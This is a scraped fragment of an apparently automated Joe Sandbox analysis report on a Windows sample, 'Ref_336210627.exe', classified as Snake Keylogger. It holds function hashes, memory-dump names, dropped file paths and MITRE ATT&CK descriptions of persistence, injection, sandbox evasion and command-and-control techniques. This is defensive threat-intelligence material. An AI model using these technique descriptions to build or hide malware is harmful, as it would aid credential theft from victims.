Opcode Fuzzy Hash: 7b0816fecf9e11767d442e84622e644a3106faff05c20627bb74117d7ea5dc4d
Instruction Fuzzy Hash: 51D0C974D04228CFCB20CF20D884B98BBB1AB05300F0080DAA509A3201CB300E80CF01

Function 05E377CF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276aa228c559843953c101342e302e7d00e1664366fe523c00eab08f8996fbdf
Instruction ID: cc3677e3e247eeb30dff7045d89ab047b9f68654abdde98e644415554537c0c3
Opcode Fuzzy Hash: 276aa228c559843953c101342e302e7d00e1664366fe523c00eab08f8996fbdf
Instruction Fuzzy Hash: E6C08C301081048FE300AB20D09876E37E2EB41306F008854514616389CA7808858A90

Function 05CCE261 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf3806e1c7e2d8a713cdd21dae8574fe56cb9a9dfa85e3e586c8e6c2f533745
Instruction ID: 32871065abd91b148b978319d157f6e2d0075f8fcaabda6eb2e8b2be91c8d644
Opcode Fuzzy Hash: 5bf3806e1c7e2d8a713cdd21dae8574fe56cb9a9dfa85e3e586c8e6c2f533745
Instruction Fuzzy Hash: 42B012BB00041003C6506374C4853840310DB00310FD50C64D441C5114DD14D1AA8105

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ref_336210627.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Roaming\ijohw.exe

C:\Users\user\AppData\Roaming\ijohw.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Ref_336210627.exe

Function 0163D1D8 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON